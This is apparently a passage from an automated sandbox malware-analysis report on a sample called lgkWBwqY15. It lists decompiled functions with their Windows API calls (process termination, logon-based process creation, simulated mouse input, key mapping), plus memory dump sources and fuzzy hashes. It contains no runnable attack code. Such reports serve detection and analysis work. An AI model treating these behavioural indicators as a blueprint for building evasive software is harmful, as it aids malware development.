                                                                                      • SendMessageW.USER32(?,0000130C,00000000,00000000), ref: 0060E4E8
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: Window$Show$Enable$MessageSend
                                                                                      • String ID:
                                                                                      • API String ID: 642888154-0
                                                                                      • Opcode ID: ac3a3a6af55960d51a277f06611413f2878ea10fcec0418bfed89baae90af48d
                                                                                      • Instruction ID: 92a640a2f0f76b27cbc5ceb3a512974f9561cc521e0bf1ac50dc066959d715e7
                                                                                      • Opcode Fuzzy Hash: ac3a3a6af55960d51a277f06611413f2878ea10fcec0418bfed89baae90af48d
                                                                                      • Instruction Fuzzy Hash: 3B416134641550EFDB2ACF24C499BD57BE2FF09304F1849B9EA588F2E2C732A846CB51
                                                                                      Function 005E98BA Relevance: 9.1, APIs: 6, Instructions: 100fileCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • InterlockedExchange.KERNEL32(?,000001F5), ref: 005E98D1
                                                                                        • Part of subcall function 005BF4EA: std::exception::exception.LIBCMT ref: 005BF51E
                                                                                        • Part of subcall function 005BF4EA: __CxxThrowException@8.LIBCMT ref: 005BF533
                                                                                      • ReadFile.KERNEL32(0000FFFF,00000000,0000FFFF,?,00000000), ref: 005E9908
                                                                                      • EnterCriticalSection.KERNEL32(?), ref: 005E9924
                                                                                      • LeaveCriticalSection.KERNEL32(?), ref: 005E999E
                                                                                      • ReadFile.KERNEL32(0000FFFF,00000000,0000FFFF,00000000,00000000), ref: 005E99B3
                                                                                      • InterlockedExchange.KERNEL32(?,000001F6), ref: 005E99D2
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: CriticalExchangeFileInterlockedReadSection$EnterException@8LeaveThrowstd::exception::exception
                                                                                      • String ID:
                                                                                      • API String ID: 2537439066-0
                                                                                      • Opcode ID: caa3f87ce11a010216c4eede3586e44b7f28eb50b6562290e12fd23f1b6b3774
                                                                                      • Instruction ID: 068c603bfb9c7ba87711e21da9b2dac35d7bcdb0cc6cc9b275a6d0c14c62b6f5
                                                                                      • Opcode Fuzzy Hash: caa3f87ce11a010216c4eede3586e44b7f28eb50b6562290e12fd23f1b6b3774
                                                                                      • Instruction Fuzzy Hash: 3B318331900205EBDB14DF95DC89EAEBB79FF85310B1440A9F904EB246D730EA15CBA0
                                                                                      Function 005F9B45 Relevance: 9.1, APIs: 6, Instructions: 99COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • GetForegroundWindow.USER32(?,?,?,?,?,?,005F77F4,?,?,00000000,00000001), ref: 005F9B53
                                                                                        • Part of subcall function 005F6544: GetWindowRect.USER32(?,?), ref: 005F6557
                                                                                      • GetDesktopWindow.USER32 ref: 005F9B7D
                                                                                      • GetWindowRect.USER32(00000000), ref: 005F9B84
                                                                                      • mouse_event.USER32(00008001,?,?,00000001,00000001), ref: 005F9BB6
                                                                                        • Part of subcall function 005E7A58: Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?), ref: 005E7AD0
                                                                                      • GetCursorPos.USER32(?), ref: 005F9BE2
                                                                                      • mouse_event.USER32(00008001,?,?,00000000,00000000), ref: 005F9C44
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: Window$Rectmouse_event$CursorDesktopForegroundSleep
                                                                                      • String ID:
                                                                                      • API String ID: 4137160315-0
                                                                                      • Opcode ID: 82637f5e940c050af0b466aa486d28dceab097dd4649d846d0bc37842f1a97a7
                                                                                      • Instruction ID: 5e7b8e19350c201a38f6032110ee8e6b4adfd11388fdce40fa01b818878c3299
                                                                                      • Opcode Fuzzy Hash: 82637f5e940c050af0b466aa486d28dceab097dd4649d846d0bc37842f1a97a7
                                                                                      • Instruction Fuzzy Hash: E831D47250870AABD720DF14DC49FABBBEAFF88314F00091AF685E7181D675E945CB91
                                                                                      Function 005DAF64 Relevance: 9.1, APIs: 6, Instructions: 73processCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • GetCurrentProcess.KERNEL32(0000000A,00000004), ref: 005DAFAE
                                                                                      • OpenProcessToken.ADVAPI32(00000000), ref: 005DAFB5
                                                                                      • CreateEnvironmentBlock.USERENV(?,00000004,00000001), ref: 005DAFC4
                                                                                      • CloseHandle.KERNEL32(00000004), ref: 005DAFCF
                                                                                      • CreateProcessWithLogonW.ADVAPI32(?,?,?,00000000,00000000,?,?,00000000,?,?,?), ref: 005DAFFE
                                                                                      • DestroyEnvironmentBlock.USERENV(00000000), ref: 005DB012
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: Process$BlockCreateEnvironment$CloseCurrentDestroyHandleLogonOpenTokenWith
                                                                                      • String ID:
                                                                                      • API String ID: 1413079979-0
                                                                                      • Opcode ID: ef55dd567b32469a84161a580e736f4f35d745e47ace9ff9b52e9d37b5673f89
                                                                                      • Instruction ID: fd39984b58e5b1110fe413305c33e2072b0e69f17417bd542dc5209cf7c2cd4d
                                                                                      • Opcode Fuzzy Hash: ef55dd567b32469a84161a580e736f4f35d745e47ace9ff9b52e9d37b5673f89
                                                                                      • Instruction Fuzzy Hash: 8A214F7210020AEBDF228F98DD09F9E7BAABB44314F144056F901A2261D3769D55DB61
                                                                                      Function 0060EBF6 Relevance: 9.0, APIs: 6, Instructions: 49COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                        • Part of subcall function 005BAF83: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,?,00000000), ref: 005BAFE3
                                                                                        • Part of subcall function 005BAF83: SelectObject.GDI32(?,00000000), ref: 005BAFF2
                                                                                        • Part of subcall function 005BAF83: BeginPath.GDI32(?), ref: 005BB009
                                                                                        • Part of subcall function 005BAF83: SelectObject.GDI32(?,00000000), ref: 005BB033
                                                                                      • MoveToEx.GDI32(00000000,-00000002,?,00000000), ref: 0060EC20
                                                                                      • LineTo.GDI32(00000000,00000003,?), ref: 0060EC34
                                                                                      • MoveToEx.GDI32(00000000,00000000,?,00000000), ref: 0060EC42
                                                                                      • LineTo.GDI32(00000000,00000000,?), ref: 0060EC52
                                                                                      • EndPath.GDI32(00000000), ref: 0060EC62
                                                                                      • StrokePath.GDI32(00000000), ref: 0060EC72
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: Path$LineMoveObjectSelect$BeginCreateStroke
                                                                                      • String ID:
                                                                                      • API String ID: 43455801-0
                                                                                      • Opcode ID: 40d91129fc69dc0dbd74bc7944b2eb66f437f4ffed92377ae7a5a7e3683f37cc
                                                                                      • Instruction ID: 4e35587d00c18a5985256f4238cf1361bc22946171d875c5896ce78b62674230
                                                                                      • Opcode Fuzzy Hash: 40d91129fc69dc0dbd74bc7944b2eb66f437f4ffed92377ae7a5a7e3683f37cc
                                                                                      • Instruction Fuzzy Hash: 6B110976000159BFEB129F90DC88EEA7F6EEB08354F048112FE1889170D7729E56DBA0
                                                                                      Function 005DE19B Relevance: 9.0, APIs: 6, Instructions: 48COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • GetDC.USER32(00000000), ref: 005DE1C0
                                                                                      • GetDeviceCaps.GDI32(00000000,00000058), ref: 005DE1D1
                                                                                      • GetDeviceCaps.GDI32(00000000,0000005A), ref: 005DE1D8
                                                                                      • ReleaseDC.USER32(00000000,00000000), ref: 005DE1E0
                                                                                      • MulDiv.KERNEL32(000009EC,?,00000000), ref: 005DE1F7
                                                                                      • MulDiv.KERNEL32(000009EC,?,?), ref: 005DE209
                                                                                        • Part of subcall function 005D9AA3: RaiseException.KERNEL32(-C0000018,00000001,00000000,00000000,005D9A05,00000000,00000000,?,005D9DDB), ref: 005DA53A
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: CapsDevice$ExceptionRaiseRelease
                                                                                      • String ID:
                                                                                      • API String ID: 603618608-0
                                                                                      • Opcode ID: 00f1121153b6426787efa7d2d1194a9849a423f7ed7268fd932bfcd2eef2081b
                                                                                      • Instruction ID: 1ae560557ba50c09549534127033a3c24ec22bc30313763152441395525ac6ae
                                                                                      • Opcode Fuzzy Hash: 00f1121153b6426787efa7d2d1194a9849a423f7ed7268fd932bfcd2eef2081b
                                                                                      • Instruction Fuzzy Hash: 990144B5A40715BFEB209FA59C4AB5EBFB9EB48751F004066EA04AB390D6719C01CB61
                                                                                      Function 005C7B47 Relevance: 9.0, APIs: 6, Instructions: 45threadCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • __init_pointers.LIBCMT ref: 005C7B47
                                                                                        • Part of subcall function 005C123A: __initp_misc_winsig.LIBCMT ref: 005C125E
                                                                                        • Part of subcall function 005C123A: GetModuleHandleW.KERNEL32(kernel32.dll), ref: 005C7F51
                                                                                        • Part of subcall function 005C123A: GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 005C7F65
                                                                                        • Part of subcall function 005C123A: GetProcAddress.KERNEL32(00000000,FlsFree), ref: 005C7F78
                                                                                        • Part of subcall function 005C123A: GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 005C7F8B
                                                                                        • Part of subcall function 005C123A: GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 005C7F9E
                                                                                        • Part of subcall function 005C123A: GetProcAddress.KERNEL32(00000000,InitializeCriticalSectionEx), ref: 005C7FB1
                                                                                        • Part of subcall function 005C123A: GetProcAddress.KERNEL32(00000000,CreateSemaphoreExW), ref: 005C7FC4
                                                                                        • Part of subcall function 005C123A: GetProcAddress.KERNEL32(00000000,SetThreadStackGuarantee), ref: 005C7FD7
                                                                                        • Part of subcall function 005C123A: GetProcAddress.KERNEL32(00000000,CreateThreadpoolTimer), ref: 005C7FEA
                                                                                        • Part of subcall function 005C123A: GetProcAddress.KERNEL32(00000000,SetThreadpoolTimer), ref: 005C7FFD
                                                                                        • Part of subcall function 005C123A: GetProcAddress.KERNEL32(00000000,WaitForThreadpoolTimerCallbacks), ref: 005C8010
                                                                                        • Part of subcall function 005C123A: GetProcAddress.KERNEL32(00000000,CloseThreadpoolTimer), ref: 005C8023
                                                                                        • Part of subcall function 005C123A: GetProcAddress.KERNEL32(00000000,CreateThreadpoolWait), ref: 005C8036
                                                                                        • Part of subcall function 005C123A: GetProcAddress.KERNEL32(00000000,SetThreadpoolWait), ref: 005C8049
                                                                                        • Part of subcall function 005C123A: GetProcAddress.KERNEL32(00000000,CloseThreadpoolWait), ref: 005C805C
                                                                                        • Part of subcall function 005C123A: GetProcAddress.KERNEL32(00000000,FlushProcessWriteBuffers), ref: 005C806F
                                                                                      • __mtinitlocks.LIBCMT ref: 005C7B4C
                                                                                        • Part of subcall function 005C7E23: InitializeCriticalSectionAndSpinCount.KERNEL32(0065AC68,00000FA0,?,?,005C7B51,005C5E77,00656C70,00000014), ref: 005C7E41
                                                                                      • __mtterm.LIBCMT ref: 005C7B55
                                                                                        • Part of subcall function 005C7BBD: DeleteCriticalSection.KERNEL32(00000000,00000000,?,?,005C7B5A,005C5E77,00656C70,00000014), ref: 005C7D3F
                                                                                        • Part of subcall function 005C7BBD: _free.LIBCMT ref: 005C7D46
                                                                                        • Part of subcall function 005C7BBD: DeleteCriticalSection.KERNEL32(0065AC68,?,?,005C7B5A,005C5E77,00656C70,00000014), ref: 005C7D68
                                                                                      • __calloc_crt.LIBCMT ref: 005C7B7A
                                                                                      • GetCurrentThreadId.KERNEL32 ref: 005C7BA3
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: AddressProc$CriticalSection$Delete$CountCurrentHandleInitializeModuleSpinThread__calloc_crt__init_pointers__initp_misc_winsig__mtinitlocks__mtterm_free
                                                                                      • String ID:
                                                                                      • API String ID: 2942034483-0
                                                                                      • Opcode ID: 4b96cecda3a9717c755af1a24dc4f9ff1a48dc1890f87b1714730e59c37cf157
                                                                                      • Instruction ID: c3a76ec3971b29fb7cac563cf06f4c1e5cd444e9cf3e787b272f34cfdeeb09b4
                                                                                      • Opcode Fuzzy Hash: 4b96cecda3a9717c755af1a24dc4f9ff1a48dc1890f87b1714730e59c37cf157
                                                                                      • Instruction Fuzzy Hash: A1F06D3250D71B1DE72876F4BC0BF4A2E89BB4A738B20479DF860C59D2FB608C4149A4
                                                                                      Function 005A27EC Relevance: 9.0, APIs: 6, Instructions: 44keyboardCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • MapVirtualKeyW.USER32(0000005B,00000000), ref: 005A281D
                                                                                      • MapVirtualKeyW.USER32(00000010,00000000), ref: 005A2825
                                                                                      • MapVirtualKeyW.USER32(000000A0,00000000), ref: 005A2830
                                                                                      • MapVirtualKeyW.USER32(000000A1,00000000), ref: 005A283B
                                                                                      • MapVirtualKeyW.USER32(00000011,00000000), ref: 005A2843
                                                                                      • MapVirtualKeyW.USER32(00000012,00000000), ref: 005A284B
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: Virtual
                                                                                      • String ID:
                                                                                      • API String ID: 4278518827-0
                                                                                      • Opcode ID: 7fc4c8702c19334cdf9239b45f429bd31a0436fea45e3e8730955bb2d171d505
                                                                                      • Instruction ID: c10b5b2808df1a880fccb3267dff0cfdd667f81a7124d5f95f1290b3229f8e55
                                                                                      • Opcode Fuzzy Hash: 7fc4c8702c19334cdf9239b45f429bd31a0436fea45e3e8730955bb2d171d505
                                                                                      • Instruction Fuzzy Hash: 940167B0902B5ABDE3008F6A8C85B52FFA8FF19354F00411BA15C4BA42C7F5A864CBE5
                                                                                      Function 005E9AD5 Relevance: 9.0, APIs: 6, Instructions: 44COMMON
                                                                                      Download Yara Rule
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: CriticalExchangeInterlockedSection$EnterLeaveObjectSingleTerminateThreadWait
                                                                                      • String ID:
                                                                                      • API String ID: 1423608774-0
                                                                                      • Opcode ID: 439b1c8ad615c0b729a7454cc99e4ca791e26870fbc1c783dd56387899e76015
                                                                                      • Instruction ID: e5e8132a071761251c4c2987411c97f0e26cb1845726d48cd816d73dfb201918
                                                                                      • Opcode Fuzzy Hash: 439b1c8ad615c0b729a7454cc99e4ca791e26870fbc1c783dd56387899e76015
                                                                                      • Instruction Fuzzy Hash: 1701A436102612EBD72D5B55EC48EEB7B6BFF88701B142439F643920A4DB749902DB60
                                                                                      Function 005E7BF7 Relevance: 9.0, APIs: 6, Instructions: 42windowtimethreadCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • PostMessageW.USER32(?,00000010,00000000,00000000), ref: 005E7C07
                                                                                      • SendMessageTimeoutW.USER32(?,00000010,00000000,00000000,00000002,000001F4,?), ref: 005E7C1D
                                                                                      • GetWindowThreadProcessId.USER32(?,?), ref: 005E7C2C
                                                                                      • OpenProcess.KERNEL32(001F0FFF,00000000,?,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 005E7C3B
                                                                                      • TerminateProcess.KERNEL32(00000000,00000000,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 005E7C45
                                                                                      • CloseHandle.KERNEL32(00000000,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 005E7C4C
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: Process$Message$CloseHandleOpenPostSendTerminateThreadTimeoutWindow
                                                                                      • String ID:
                                                                                      • API String ID: 839392675-0
                                                                                      • Opcode ID: 38872f2bffcafc3a697eced1baa736c8dfe6e78d6c92b839067aec84d2aba040
                                                                                      • Instruction ID: b9f438c6364fc628080a393f2d58c66e9f9a7ef8b2732f8157b482b83cf95021
                                                                                      • Opcode Fuzzy Hash: 38872f2bffcafc3a697eced1baa736c8dfe6e78d6c92b839067aec84d2aba040
                                                                                      • Instruction Fuzzy Hash: ECF03A72241998BBE7315B929C0EEEF7F7DEFCAB11F000018FA0191091D7A05A42C6B5
                                                                                      Function 005E9A20 Relevance: 9.0, APIs: 6, Instructions: 33synchronizationthreadCOMMONLIBRARYCODE
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • InterlockedExchange.KERNEL32(?,?), ref: 005E9A33
                                                                                      • EnterCriticalSection.KERNEL32(?,?,?,?,00615DEE,?,?,?,?,?,005AED63), ref: 005E9A44
                                                                                      • TerminateThread.KERNEL32(?,000001F6,?,?,?,00615DEE,?,?,?,?,?,005AED63), ref: 005E9A51
                                                                                      • WaitForSingleObject.KERNEL32(?,000003E8,?,?,?,00615DEE,?,?,?,?,?,005AED63), ref: 005E9A5E
                                                                                        • Part of subcall function 005E93D1: CloseHandle.KERNEL32(?,?,005E9A6B,?,?,?,00615DEE,?,?,?,?,?,005AED63), ref: 005E93DB
                                                                                      • InterlockedExchange.KERNEL32(?,000001F6), ref: 005E9A71
                                                                                      • LeaveCriticalSection.KERNEL32(?,?,?,?,00615DEE,?,?,?,?,?,005AED63), ref: 005E9A78
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: CriticalExchangeInterlockedSection$CloseEnterHandleLeaveObjectSingleTerminateThreadWait
                                                                                      • String ID:
                                                                                      • API String ID: 3495660284-0
                                                                                      • Opcode ID: 891cd5153378f11cc11474ab15aeb4c346b5e2c075d90b934d3b4267df518245
                                                                                      • Instruction ID: 0583068d538d328691f79115a123c3c295823ce63f218e6037326374738924bb
                                                                                      • Opcode Fuzzy Hash: 891cd5153378f11cc11474ab15aeb4c346b5e2c075d90b934d3b4267df518245
                                                                                      • Instruction Fuzzy Hash: 00F08936142611EBD7251B54EC4DDEF7B3BFF85301B142425F603910A4DB759902DB50
                                                                                      Function 005A1CDE Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 250COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                        • Part of subcall function 005BF4EA: std::exception::exception.LIBCMT ref: 005BF51E
                                                                                        • Part of subcall function 005BF4EA: __CxxThrowException@8.LIBCMT ref: 005BF533
                                                                                      • __swprintf.LIBCMT ref: 005A1EA6
                                                                                      Strings
                                                                                      • \\[\\nrt]|%%|%[-+ 0#]?([0-9]*|\*)?(\.[0-9]*|\.\*)?[hlL]?[diouxXeEfgGs], xrefs: 005A1D49
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: Exception@8Throw__swprintfstd::exception::exception
                                                                                      • String ID: \\[\\nrt]|%%|%[-+ 0#]?([0-9]*|\*)?(\.[0-9]*|\.\*)?[hlL]?[diouxXeEfgGs]
                                                                                      • API String ID: 2125237772-557222456
                                                                                      • Opcode ID: 4907d18e93c131766d4c7dd2167662c1ec5c972bf1f7123ba6314eb2948b020d
                                                                                      • Instruction ID: 1f2d9b0507cae33ff9318149e9f916ca2c1669f2609aa6006724ada43e9e28eb
                                                                                      • Opcode Fuzzy Hash: 4907d18e93c131766d4c7dd2167662c1ec5c972bf1f7123ba6314eb2948b020d
                                                                                      • Instruction Fuzzy Hash: 6A914A711082029FC714EF68C89ACAEBFE9BF96710F04491DF885972A1DB70ED45CB96
                                                                                      Function 005FAFE0 Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 229COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • VariantInit.OLEAUT32(?), ref: 005FB006
                                                                                      • CharUpperBuffW.USER32(?,?), ref: 005FB115
                                                                                      • VariantClear.OLEAUT32(?), ref: 005FB298
                                                                                        • Part of subcall function 005E9DC5: VariantInit.OLEAUT32(00000000), ref: 005E9E05
                                                                                        • Part of subcall function 005E9DC5: VariantCopy.OLEAUT32(?,?), ref: 005E9E0E
                                                                                        • Part of subcall function 005E9DC5: VariantClear.OLEAUT32(?), ref: 005E9E1A
                                                                                      Strings
                                                                                      Memory Dump Source
